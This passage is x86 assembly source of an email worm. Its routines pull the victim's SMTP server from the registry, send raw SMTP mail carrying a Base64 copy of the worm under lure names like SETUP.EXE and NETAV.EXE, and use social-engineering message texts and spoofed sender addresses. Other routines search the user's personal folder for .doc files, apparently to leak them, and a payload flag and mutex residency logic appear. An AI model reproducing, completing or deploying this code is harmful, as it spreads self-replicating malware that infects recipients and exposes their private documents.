; - SmtpSendCommand: Send all the commands
|
||
; - SmtpDisConnection: Clean + Disconnect
|
||
|
||
|
||
;.............. Get User Server
|
||
|
||
GetUserSmtpServer:
|
||
|
||
GetUserInternetAccount:
|
||
mov dword ptr[KeySize], 00000040h ; Init Size to get
|
||
|
||
push offset KeySize
|
||
push offset AccountSubKey
|
||
push offset Reg
|
||
@pushsz "Default Mail Account"
|
||
@pushsz "Software\Microsoft\Internet Account Manager"
|
||
push 80000001h
|
||
api SHGetValueA
|
||
test eax, eax
|
||
jne GetUserSmtpServerError
|
||
|
||
GetUserInternetServer:
|
||
mov dword ptr[KeySize], 00000040h ; Init Size to get
|
||
|
||
push offset KeySize
|
||
push offset SmtpServeur
|
||
push offset Reg
|
||
@pushsz "SMTP Server"
|
||
lea eax, AccountKey
|
||
push eax
|
||
push 80000001h
|
||
api SHGetValueA
|
||
test eax, eax
|
||
jne GetUserSmtpServerError
|
||
clc
|
||
ret
|
||
GetUserSmtpServerError:
|
||
stc
|
||
ret
|
||
|
||
;.............. Smtp Connection
|
||
|
||
SmtpConnection:
|
||
pushad
|
||
push offset WSAData ; Struct WSA
|
||
push 101h ; VERSION1_1
|
||
api WSAStartup ; Socket Init
|
||
test eax,eax ; ok ?
|
||
jne WSA_Error ; No, exit with stc
|
||
|
||
push 0 ; Protocol = 0 (more sure)
|
||
push 1 ; SOCK_STREAM
|
||
push 2 ; AF_INET (most used)
|
||
api socket ; create socket
|
||
inc eax ; -1 = error
|
||
je Socket_Error ; WSACleanUp and stc
|
||
dec eax
|
||
mov [hSocket],eax ; Socket Handle
|
||
|
||
push 25 ; Smtp port
|
||
api htons ; Convert it
|
||
mov word ptr[wsocket+2], ax ; The port ( 2 ptr[wsocket]=AF_INET )
|
||
|
||
push offset SmtpServeur ; The SMPT Host
|
||
api gethostbyname ; SMPT to IP
|
||
test eax,eax ; error ?
|
||
je Error_CloseSocket&CleanUp ; Exit + stc
|
||
mov eax,[eax+10h] ; get ptr 2 IP into HOSTENT
|
||
mov eax,[eax] ; get ptr 2 IP
|
||
mov [ServeurIP],eax ; Save it
|
||
|
||
push 010h ; size of sockaddr struct
|
||
push offset wsocket ; Ptr on it
|
||
push [hSocket] ; Handle
|
||
api connect ; connect to smtp server
|
||
inc eax
|
||
je Error_CloseSocket&CleanUp ; Exit + stc
|
||
call GetServeurReply ; get server response
|
||
jc Error_CloseSocket&CleanUp ; If c=0 Connection OK !
|
||
popad
|
||
clc
|
||
ret
|
||
|
||
GetServeurReply:
|
||
push 0 ; Flags
|
||
push 4 ; Get a LongWord
|
||
push offset ServeurReply ; in ServeurReply
|
||
push [hSocket]
|
||
api recv ; get stmp server error code
|
||
cmp eax, 4 ; Receive a LongWord
|
||
jne ReplyError ; No, stc
|
||
|
||
ServeurReplyLoop:
|
||
mov ebx, offset ServeurReplyEnd ; Get a byte In
|
||
push 0 ; Flags
|
||
push 1 ; a byte
|
||
push ebx
|
||
push [hSocket]
|
||
api recv
|
||
jne ReplyError
|
||
|
||
cmp byte ptr [ebx], 0Ah
|
||
jne ServeurReplyLoop ; skip over CRLF
|
||
|
||
mov eax, [ServeurReply]
|
||
cmp eax, ' 022'
|
||
je ReplyOk
|
||
cmp eax, ' 052'
|
||
je ReplyOk
|
||
cmp eax, ' 152'
|
||
je ReplyOk
|
||
cmp eax, ' 453'
|
||
jne ReplyError
|
||
ReplyOk:
|
||
clc
|
||
ret
|
||
ReplyError:
|
||
stc
|
||
ret
|
||
|
||
;.............. Smtp DisConnection
|
||
|
||
SmtpDisConnection:
|
||
pushad
|
||
Error_CloseSocket&CleanUp:
|
||
push dword ptr [hSocket]
|
||
api closesocket
|
||
Socket_Error:
|
||
api WSACleanup
|
||
WSA_Error:
|
||
popad
|
||
stc
|
||
ret
|
||
|
||
;.............. Smtp Send
|
||
|
||
SmtpSendCommand:
|
||
pushad
|
||
|
||
SendHelloCmd:
|
||
mov esi,offset cmd_helo ; 'HELO xxx',CRLF
|
||
push 14 ; cmd size
|
||
pop ecx ; cmd size
|
||
call SendSocket ; send HELO command
|
||
call GetServeurReply ; Ok ?
|
||
jc Error_CloseSocket&CleanUp ; No
|
||
|
||
SendMailFromCmd:
|
||
mov esi,offset cmd_mailfrom ; 'MAIL FROM:<'
|
||
push 11 ; cmd size
|
||
pop ecx ; size
|
||
call SendSocket ; send MAIL FROM command
|
||
|
||
mov esi,offset mailfrom ; ptr default user email
|
||
push esi
|
||
api lstrlen
|
||
xchg ecx, eax
|
||
call SendSocket ; 2<> Write xxxx@xxxx.xx
|
||
|
||
call Brk1
|
||
db '>',CRLF
|
||
Brk1: pop esi
|
||
push 3
|
||
pop ecx
|
||
call SendSocket ; 3<> Write '>',CRLF
|
||
|
||
call GetServeurReply ; Ok
|
||
jc Error_CloseSocket&CleanUp ; No
|
||
|
||
SendRcptToCmd:
|
||
mov esi,offset cmd_rcptto ; 'RCPT TO:<'
|
||
push 9 ; cmd size
|
||
pop ecx ; cmd size
|
||
call SendSocket ; 1<> Write 'RCPT TO:<'
|
||
|
||
mov esi,offset CurrentEmail ; ptr email
|
||
push esi
|
||
api lstrlen
|
||
xchg ecx, eax
|
||
call SendSocket ; 2<> Write xxxx@xxxx.xx
|
||
|
||
call Brk2
|
||
db '>',CRLF
|
||
Brk2: pop esi
|
||
push 3
|
||
pop ecx
|
||
call SendSocket ; 3<> Write '>',CRLF
|
||
|
||
call GetServeurReply ; Ok
|
||
jc Error_CloseSocket&CleanUp ; No
|
||
|
||
SendDataCmd:
|
||
mov esi,offset cmd_data ; 'DATA',CRLF
|
||
push 6 ; Size
|
||
pop ecx ; Size
|
||
call SendSocket ; send DATA command
|
||
call GetServeurReply ; Ok
|
||
jc Error_CloseSocket&CleanUp ; No
|
||
|
||
SendeMailBody:
|
||
mov esi, dword ptr[MemMessageBody1] ; Start Message Body
|
||
mov ecx, dword ptr[MessageSize1]
|
||
call SendSocket
|
||
|
||
mov esi,dword ptr [MemEncoded] ; Encoded File
|
||
mov ecx,dword ptr [EncodedFileSize]
|
||
call SendSocket
|
||
|
||
mov esi, offset MessageBody2 ; End Message Body
|
||
mov ecx, MessageSize2
|
||
call SendSocket
|
||
|
||
SendTermCmd:
|
||
mov esi,offset cmd_term ; CRLF,'.',CRLF
|
||
push 5 ; size
|
||
pop ecx ; size
|
||
call SendSocket ; send message header+body
|
||
call GetServeurReply ; Ok ?
|
||
jc Error_CloseSocket&CleanUp ; No
|
||
|
||
SendQuitCmd:
|
||
mov esi,offset cmd_quit ; 'QUIT',CRLF
|
||
push 6 ; size
|
||
pop ecx ; size
|
||
call SendSocket ; send QUIT command
|
||
popad
|
||
clc
|
||
ret
|
||
|
||
SendSocket:
|
||
push 0 ; Flags
|
||
push ecx ; size
|
||
push esi ; Source
|
||
push [hSocket] ; Handle
|
||
api send
|
||
ret
|
||
|
||
|
||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||
;........................ Minor Sub Routine ..................................
|
||
;............................ Z O N E ........................................
|
||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||
|
||
|
||
;........................ Open & Map a File ..................................
|
||
;.............................................................................
|
||
|
||
|
||
; IN: TempPath&Name = Path + Name of file to Open
|
||
; OUT: fhandle, maphandle, mapaddress
|
||
; cf = 0 ou 1
|
||
|
||
Open&MapFile:
|
||
xor eax,eax
|
||
push eax
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push eax
|
||
push FILE_SHARE_READ
|
||
push GENERIC_READ or GENERIC_WRITE
|
||
push Offset TempPath&Name
|
||
api CreateFileA
|
||
inc eax
|
||
je Open&MapFileError
|
||
dec eax
|
||
mov dword ptr [fhandle], eax
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push PAGE_READWRITE
|
||
push eax
|
||
push dword ptr [fhandle]
|
||
api CreateFileMappingA
|
||
or eax,eax
|
||
jz Open&MapFileCloseFileHandle
|
||
mov dword ptr [maphandle],eax
|
||
|
||
xor ebx,ebx
|
||
push ebx
|
||
push ebx
|
||
push ebx
|
||
push FILE_MAP_WRITE
|
||
push eax
|
||
api MapViewOfFile
|
||
or eax,eax
|
||
jz Open&MapFileCloseMapHandle
|
||
mov dword ptr [mapaddress], eax
|
||
clc
|
||
ret
|
||
|
||
Open&MapFileUnmapView:
|
||
push dword ptr [mapaddress]
|
||
api UnmapViewOfFile
|
||
|
||
Open&MapFileCloseMapHandle:
|
||
push dword ptr [maphandle]
|
||
api CloseHandle
|
||
|
||
Open&MapFileCloseFileHandle:
|
||
push dword ptr [fhandle]
|
||
api CloseHandle
|
||
Open&MapFileError:
|
||
stc
|
||
ret
|
||
|
||
;...................... Search Personal Documents ............................
|
||
;.............................................................................
|
||
|
||
; OUT - Personal Doc Path in Mem in $ [PersoDocListe]
|
||
|
||
PersonalDocSearch:
|
||
xor eax,eax
|
||
push PAGE_READWRITE ; read/write page
|
||
push MEM_RESERVE or MEM_COMMIT
|
||
push PersoFileSize
|
||
push eax ; System decide where
|
||
api VirtualAlloc
|
||
test eax, eax
|
||
je PersonalDocSearchError
|
||
mov dword ptr[PersoDocListe], eax
|
||
|
||
call Clear_TempPath&Name
|
||
|
||
push 00h
|
||
push 05h ; Personal Path
|
||
push offset TempPath&Name
|
||
push 00h
|
||
api SHGetSpecialFolderPathA
|
||
|
||
push offset TempPath&Name
|
||
api SetCurrentDirectoryA ; Selected dir = Personal Path
|
||
|
||
lea eax, FindPersonalFile
|
||
mov dword ptr[RoutineToCall], eax
|
||
call AllSubDirSearch ; Action = FindPersonalFile
|
||
PersonalDocSearchError:
|
||
ret
|
||
|
||
;.............. Search Personal File
|
||
|
||
FindPersonalFile:
|
||
cmp dword ptr[NbPersonalFound], NbPersoWanted ; Enought Perso File
|
||
je NoMorePersonalFile
|
||
|
||
push offset search
|
||
@pushsz "*.doc"
|
||
api FindFirstFileA
|
||
|
||
mov dword ptr [PersonalSearchHandle], eax
|
||
inc eax
|
||
jz NoMorePersonalFile
|
||
|
||
PersonalDocumentFound:
|
||
mov edi, dword ptr[PersoDocListe]
|
||
mov edx, dword ptr[NbPersonalFound]
|
||
rol edx, 8
|
||
add edi, edx ; Right Pos
|
||
|
||
push edi
|
||
push 260
|
||
api GetCurrentDirectoryA ; The dir
|
||
|
||
@pushsz '\'
|
||
push edi
|
||
api lstrcat ; The \
|
||
|
||
push offset [search.FileName]
|
||
push edi
|
||
api lstrcat ; The Name
|
||
|
||
inc dword ptr[NbPersonalFound] ; Next One
|
||
cmp dword ptr[NbPersonalFound], NbPersoWanted ; Enought Perso File
|
||
je EnoughtPerso
|
||
|
||
FindPersonalFileNext:
|
||
push offset search
|
||
push dword ptr [PersonalSearchHandle]
|
||
api FindNextFileA
|
||
|
||
test eax, eax
|
||
jnz PersonalDocumentFound
|
||
|
||
EnoughtPerso:
|
||
push dword ptr [PersonalSearchHandle]
|
||
api FindClose
|
||
|
||
NoMorePersonalFile:
|
||
ret
|
||
|
||
;.............. Search in all Sub Dir + Action in ............................
|
||
|
||
; IN: - Root dir Selected for the Search begin
|
||
; - RoutineToCall = SeekHtmlCurrentDir
|
||
; OUT: - What perform RoutineToCall in all subdir of selected Root
|
||
|
||
|
||
AllSubDirSearch:
|
||
xor ebx,ebx
|
||
|
||
FindFirstDir:
|
||
lea edi, search
|
||
push edi
|
||
@pushsz "*.*"
|
||
api FindFirstFileA
|
||
|
||
mov dword ptr [RecSearchHandle],eax
|
||
|
||
inc eax
|
||
jz FirstDirNotFound
|
||
|
||
DirTravel:
|
||
bt word ptr[search.FileAttributes],4
|
||
jnc FindNextDir
|
||
|
||
lea eax,[search.FileName]
|
||
|
||
cmp byte ptr [eax],"."
|
||
jz FindNextDir
|
||
|
||
push eax
|
||
api SetCurrentDirectoryA
|
||
|
||
InNewDir_Action:
|
||
pushad
|
||
call dword ptr[RoutineToCall] ; THE Action
|
||
popad
|
||
|
||
push dword ptr [RecSearchHandle]
|
||
inc ebx
|
||
jmp FindFirstDir
|
||
FindNextDir:
|
||
push edi
|
||
push dword ptr [RecSearchHandle]
|
||
api FindNextFileA
|
||
|
||
or eax,eax
|
||
jnz DirTravel
|
||
|
||
FirstDirNotFound:
|
||
@pushsz ".."
|
||
api SetCurrentDirectoryA
|
||
|
||
or ebx,ebx
|
||
jz AllSubDirSearchEnd
|
||
|
||
dec ebx
|
||
pop dword ptr [RecSearchHandle]
|
||
jmp FindNextDir
|
||
|
||
NextDirNotFound:
|
||
push dword ptr [RecSearchHandle]
|
||
api FindClose
|
||
jmp FirstDirNotFound
|
||
|
||
AllSubDirSearchEnd:
|
||
ret
|
||
|
||
;.......................... Random Number ....................................
|
||
|
||
; IN: Edi
|
||
; OUT: Random Number in EDX: 0 <-> Edi-1
|
||
|
||
GetRndNumber:
|
||
push eax ebx ecx esi esp ebp
|
||
|
||
mov eax, dword ptr[RandomNb]
|
||
mov ecx,41C64E6Dh
|
||
mul ecx
|
||
add eax,00003039h
|
||
mov dword ptr[RandomNb], eax
|
||
|
||
xor edx, edx
|
||
div edi ; Reste < Edi in EDX
|
||
|
||
pop ebp esp esi ecx ebx eax
|
||
ret
|
||
|
||
;......................... Free The Mem ......................................
|
||
|
||
FreeTheMem:
|
||
mov ecx, dword ptr[EmailList]
|
||
jecxz FreeTheMemNext1
|
||
call MemFreeIt
|
||
|
||
FreeTheMemNext1:
|
||
mov ecx, dword ptr[MemMessageBody1]
|
||
jecxz FreeTheMemNext2
|
||
call MemFreeIt
|
||
|
||
FreeTheMemNext2:
|
||
mov ecx, dword ptr[PersoDocListe]
|
||
jecxz FreeTheMemFin
|
||
call MemFreeIt
|
||
|
||
FreeTheMemFin:
|
||
ret
|
||
|
||
MemFreeIt:
|
||
push 00008000h ; MEM_RELEASE
|
||
push 0
|
||
push ecx
|
||
api VirtualFree
|
||
ret
|
||
|
||
;..................... Clear TempPath & Name .................................
|
||
|
||
Clear_TempPath&Name:
|
||
xor al,al
|
||
mov ecx,260
|
||
lea edi,TempPath&Name ; Clear the path
|
||
rep stosb
|
||
ret
|
||
|
||
;..................... Encode File Base 64 ...................................
|
||
|
||
; IN: Path of the file in offset MyPath
|
||
; OUT: Encoded file in Mem
|
||
|
||
CodeB64File:
|
||
|
||
OpenFileToEncode:
|
||
xor eax,eax
|
||
push eax
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push eax
|
||
push FILE_SHARE_READ
|
||
push GENERIC_READ
|
||
push Offset MyPath ; The file to encode
|
||
api CreateFileA
|
||
inc eax
|
||
je CodeB64FileEnd
|
||
dec eax
|
||
mov dword ptr [TempFileHandle], eax
|
||
|
||
GetFileToEncodeSize:
|
||
push 0
|
||
push eax
|
||
api GetFileSize
|
||
inc eax
|
||
je CodeB64FileEnd
|
||
dec eax
|
||
mov dword ptr [OurSizeToEncode], eax
|
||
|
||
add eax, 1000 ; Security
|
||
|
||
GetMemToReadFileToEncode:
|
||
xor ebx,ebx
|
||
push PAGE_READWRITE ; read/write page
|
||
push MEM_RESERVE or MEM_COMMIT
|
||
push eax
|
||
push ebx ; System decide where
|
||
api VirtualAlloc
|
||
test eax, eax
|
||
je CodeB64FileEnd
|
||
mov dword ptr[MemToEncode], eax
|
||
|
||
ReadFileToEncode:
|
||
push 00h
|
||
push offset ByteReaded
|
||
push dword ptr [OurSizeToEncode]
|
||
push eax
|
||
push dword ptr [TempFileHandle]
|
||
api ReadFile
|
||
|
||
push dword ptr [TempFileHandle]
|
||
api CloseHandle
|
||
|
||
GetMemToEncodeFile:
|
||
mov eax, dword ptr [OurSizeToEncode]
|
||
rol eax, 4 ; We need ori size *3 (+security)
|
||
xor ebx,ebx
|
||
push PAGE_READWRITE ; read/write page
|
||
push MEM_RESERVE or MEM_COMMIT
|
||
push eax
|
||
push ebx ; System decide where
|
||
api VirtualAlloc
|
||
test eax, eax
|
||
je CodeB64FileEnd
|
||
mov dword ptr[MemEncoded], eax
|
||
|
||
AlignFileToEncodeSize:
|
||
mov eax, dword ptr [OurSizeToEncode]
|
||
push 3
|
||
pop ecx
|
||
xor edx,edx
|
||
push eax
|
||
div ecx
|
||
pop eax
|
||
sub ecx,edx
|
||
add eax,ecx ; align size to 3
|
||
|
||
EncodeFileNow:
|
||
xchg eax,ecx
|
||
mov edx,dword ptr [MemEncoded]
|
||
mov eax,dword ptr [MemToEncode]
|
||
call encodeBase64
|
||
|
||
mov dword ptr [EncodedFileSize],ecx
|
||
|
||
CodeB64FileEnd:
|
||
ret
|
||
|
||
|
||
;................... Encode Base 64 Algorithme ...............................
|
||
|
||
encodeBase64: ; By Bumblebee
|
||
; input:
|
||
; EAX = Address of data to encode
|
||
; EDX = Address to put encoded data
|
||
; ECX = Size of data to encode
|
||
; output:
|
||
; ECX = size of encoded data
|
||
;
|
||
xor esi,esi
|
||
call over_enc_table
|
||
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||
db "abcdefghijklmnopqrstuvwxyz"
|
||
db "0123456789+/"
|
||
over_enc_table:
|
||
pop edi
|
||
push ebp
|
||
xor ebp,ebp
|
||
baseLoop:
|
||
movzx ebx,byte ptr [eax]
|
||
shr bl,2
|
||
and bl,00111111b
|
||
mov bh,byte ptr [edi+ebx]
|
||
mov byte ptr [edx+esi],bh
|
||
inc esi
|
||
|
||
mov bx,word ptr [eax]
|
||
xchg bl,bh
|
||
shr bx,4
|
||
mov bh,0
|
||
and bl,00111111b
|
||
mov bh,byte ptr [edi+ebx]
|
||
mov byte ptr [edx+esi],bh
|
||
inc esi
|
||
|
||
inc eax
|
||
mov bx,word ptr [eax]
|
||
xchg bl,bh
|
||
shr bx,6
|
||
xor bh,bh
|
||
and bl,00111111b
|
||
mov bh,byte ptr [edi+ebx]
|
||
mov byte ptr [edx+esi],bh
|
||
inc esi
|
||
|
||
inc eax
|
||
xor ebx,ebx
|
||
movzx ebx,byte ptr [eax]
|
||
and bl,00111111b
|
||
mov bh,byte ptr [edi+ebx]
|
||
mov byte ptr [edx+esi],bh
|
||
inc esi
|
||
inc eax
|
||
|
||
inc ebp
|
||
cmp ebp,24
|
||
jna DontAddEndOfLine
|
||
|
||
xor ebp,ebp
|
||
mov word ptr [edx+esi],0A0Dh
|
||
inc esi
|
||
inc esi
|
||
test al,00h
|
||
org $-1
|
||
DontAddEndOfLine:
|
||
inc ebp
|
||
sub ecx,3
|
||
or ecx,ecx
|
||
jne baseLoop
|
||
|
||
mov ecx,esi
|
||
add edx,esi
|
||
pop ebp
|
||
ret
|
||
|
||
;-----------------------------------------------------------------------------
|
||
;------------------------------ Data Zone ------------------------------------
|
||
;-----------------------------------------------------------------------------
|
||
|
||
.data
|
||
|
||
|
||
;-------------------------- Variables Zone -----------------------------------
|
||
|
||
SmtpFlag db 0 ; Select Mapi or Smtp
|
||
PayloadFlag db 0 ; Payload = 1
|
||
UserEmailFoundFlag db 0 ; found = 1
|
||
|
||
;...................... Encode B64 Variables
|
||
|
||
EncodedFileSize dd 0
|
||
MemEncoded dd 0
|
||
MemToEncode dd 0
|
||
OurSizeToEncode dd 0
|
||
ByteReaded dd 0
|
||
|
||
;...................... Email SMTP Variables
|
||
|
||
Reg dd 1 ; String
|
||
KeySize dd 0 ; Size to read with SHGetValue
|
||
; (init it + return effectiv lenght read in)
|
||
|
||
AccountKey db 'Software\Microsoft\Internet Account Manager\Accounts\'
|
||
AccountSubKey db 64 dup (0)
|
||
|
||
SmtpServeur db 64 dup (0) ; smtp server found with regkey
|
||
|
||
|
||
wsocket dw 2 ; sin_family ever AF_INET
|
||
dw ? ; the port
|
||
ServeurIP dd ? ; addr of server node
|
||
db 8 dup (?) ; not used
|
||
|
||
|
||
hSocket dd 0 ; Socket Handle
|
||
|
||
ServeurReply dd ? ; error code
|
||
ServeurReplyEnd db ? ; byte for LF
|
||
|
||
|
||
CRLF equ <13,10>
|
||
|
||
cmd_helo db 'HELO Support',CRLF
|
||
cmd_mailfrom db 'MAIL FROM:<'
|
||
cmd_rcptto db 'RCPT TO:<'
|
||
|
||
cmd_data db 'DATA',CRLF
|
||
cmd_term db CRLF,'.',CRLF
|
||
cmd_quit db 'QUIT',CRLF
|
||
|
||
|
||
MemMessageBody1 dd 0 ; Ptr on Mem where built header
|
||
MessageSize1 dd 0 ; Size Header + bordel Mime
|
||
|
||
MessageBody1: db 'Mime-Version: 1.0',CRLF
|
||
db 'Content-Type: multipart/mixed; boundary="--123"',CRLF,CRLF
|
||
|
||
db '----123',CRLF
|
||
db 'Content-Type: text/plain; charset=us-ascii',CRLF
|
||
db 'Content-Transfer-Encoding: 7bit',CRLF,CRLF,0
|
||
|
||
; Text part
|
||
|
||
MessageBody1b: db '----123',CRLF
|
||
db 'Content-Type: application/octet-stream; name=',0 ; filename part
|
||
MessageBody1c: db 'Content-Transfer-Encoding: base64',CRLF
|
||
db 'Content-Disposition: attachment; filename=',0 ; filename part
|
||
|
||
; Encoded part
|
||
|
||
MessageBody2: db 10,'--123--',CRLF
|
||
MessageSize2 equ $-MessageBody2
|
||
|
||
|
||
RndFileName1 db '"SETUP.EXE"',0
|
||
RndFileName2 db '"HGAME.EXE"',0
|
||
RndFileName3 db '"MININET.EXE"',0
|
||
RndFileName4 db '"NETAV.EXE"',0
|
||
RndFileNameTb dd offset RndFileName1, offset RndFileName4, offset RndFileName3
|
||
dd offset RndFileName4, offset RndFileName2
|
||
NbRndFileName equ ($-offset RndFileNameTb)/4
|
||
|
||
RndText1: db 'Hi ',CRLF
|
||
db 'Here is what you asked, bye. ',CRLF,0
|
||
RndText2: db 'Hello ',CRLF
|
||
db 'Maybe you could help me with this, bye. ',CRLF,0
|
||
RndText3: db 'Hello ',CRLF
|
||
db 'Now you can try it, bye. ',CRLF,0
|
||
|
||
RndTextTb dd offset RndText1, offset RndText2, offset RndText3
|
||
NbRndText equ ($-offset RndTextTb)/4
|
||
|
||
RndSubject1 db 'Hello',0
|
||
RndSubject2 db 'For you',0
|
||
RndSubject3 db 'Try it',0
|
||
RndSubject4 db 'Re:',0
|
||
RndSubjectTb: dd offset RndSubject2, offset RndSubject1, offset RndSubject4
|
||
dd offset RndSubject3, offset RndSubject4
|
||
NbSubject equ ($-offset RndSubjectTb)/4
|
||
|
||
RndFromName1 db 'morgan',0
|
||
RndFromName2 db 'mick',0
|
||
RndFromName3 db 'carla',0
|
||
RndFromName4 db 'eva',0
|
||
RndFromNameTb: dd offset RndFromName1, offset RndFromName2, offset RndFromName3
|
||
dd offset RndFromName4
|
||
NbFromName equ ($-offset RndFromNameTb)/4
|
||
|
||
RndFromServ1 db '@caramail.com',0
|
||
RndFromServ2 db '@hotmail.com',0
|
||
RndFromServ3 db '@aol.com',0
|
||
RndFromServTb: dd offset RndFromServ1, offset RndFromServ2, offset RndFromServ3
|
||
NbFromServ equ ($-offset RndFromServTb)/4
|
||
|
||
|
||
;...................... Email MAPI Variables
|
||
|
||
IConnectedStateTemp dd 0 ; For InternetConnectedState
|
||
|
||
MapiMessage equ $
|
||
dd ?
|
||
dd offset subject
|
||
dd offset textmail
|
||
dd ?
|
||
dd offset date
|
||
dd ?
|
||
dd 2
|
||
dd offset MsgFrom
|
||
dd 1
|
||
dd offset MsgTo
|
||
dd 1
|
||
dd offset MapiFileDesc
|
||
|
||
MsgFrom equ $
|
||
dd ?
|
||
dd ?
|
||
dd offset namefrom
|
||
dd offset mailfrom
|
||
dd ?
|
||
dd ?
|
||
|
||
MsgTo equ $
|
||
dd ?
|
||
dd 1
|
||
dd offset nameto
|
||
dd offset CurrentEmail
|
||
dd ?
|
||
dd ?
|
||
|
||
MapiFileDesc equ $
|
||
dd ?
|
||
dd ?
|
||
dd ?
|
||
dd offset MyPath ; File to attache
|
||
dd ?
|
||
dd ?
|
||
|
||
CurrentEmail db EmailSize dup (0)
|
||
MAPISession dd 0
|
||
|
||
subject db 'Hello',0
|
||
|
||
date db '',0
|
||
|
||
namefrom db '',0
|
||
|
||
mailfrom db EmailSize dup (0)
|
||
|
||
nameto db '',0
|
||
|
||
textmail db 'Hi ',CRLF
|
||
db 'Here is what you asked, bye... ',0
|
||
|
||
|
||
;...................... Residency + Dump Variables
|
||
|
||
MutexHdl dd 0
|
||
MyPath db 260 dup (0)
|
||
TempFileHandle dd 0
|
||
ByteWritten dd 0
|
||
|
||
;...................... Email Search Variables
|
||
|
||
NbEmailFound dd 0 ; Compte combien d'email found
|
||
EmailList dd 0 ; Ptr zone Mem ou stocker Emails
|
||
|
||
TempPath&Name db 260 dup (0)
|
||
|
||
fhandle dd 0 ; To find & map file
|
||
mapaddress dd 0
|
||
maphandle dd 0
|
||
|
||
maphandlemail dd 0 ; for html found
|
||
esi_save dd 0
|
||
EmailCurrentPos dd 0
|
||
|
||
RandomNb dd 0 ; Init with GettickCount
|
||
|
||
NbWabEmail dd 0 ; Nb emails in *.Wab
|
||
|
||
;...................... Recursive Search Variables
|
||
|
||
RecSearchHandle dd 0 ; For the Recursive search
|
||
RoutineToCall dd 0 ; Ptr on routine to execute in all SubDir
|
||
|
||
PersonalSearchHandle dd 0 ; For personal doc search
|
||
NbPersonalFound dd 0 ; Nb Personal doc found
|
||
PersoDocListe dd 0 ; Ptr zone Mem ou stocker Path Doc Perso
|
||
|
||
;--------------------------- Structures Zone ---------------------------------
|
||
|
||
;...................... Search File Structure
|
||
|
||
filetim struct
|
||
FT_dwLowDateT dd ?
|
||
FT_dwHighDateT dd ?
|
||
filetim ends
|
||
|
||
w32fd struct
|
||
FileAttributes dd ?
|
||
CreationTime filetim ?
|
||
LastAccessTime filetim ?
|
||
LastWriteTime filetim ?
|
||
FileSizeHigh dd ?
|
||
FileSizeLow dd ?
|
||
Reserved0 dd ?
|
||
Reserved1 dd ?
|
||
FileName db 260 dup (0)
|
||
AlternateFileN db 13 dup (?)
|
||
db 3 dup (?)
|
||
w32fd ends
|
||
|
||
search w32fd ?
|
||
|
||
;...................... System Time Structure
|
||
|
||
SystemTimeData equ $
|
||
STDYear dw ?
|
||
STDMonth dw ?
|
||
STDDayOfWeek dw ?
|
||
STDDay dw ?
|
||
STDHour dw ?
|
||
STDMinute dw ?
|
||
STDSecond dw ?
|
||
STDMilliseconds dw ?
|
||
|
||
;...................... Sockets Structure
|
||
|
||
WSAData equ $
|
||
dw ?
|
||
dw ?
|
||
db 257 dup (?)
|
||
db 129 dup (?)
|
||
dw ?
|
||
dw ?
|
||
dd ?
|
||
|
||
|
||
end Mv
|
||
|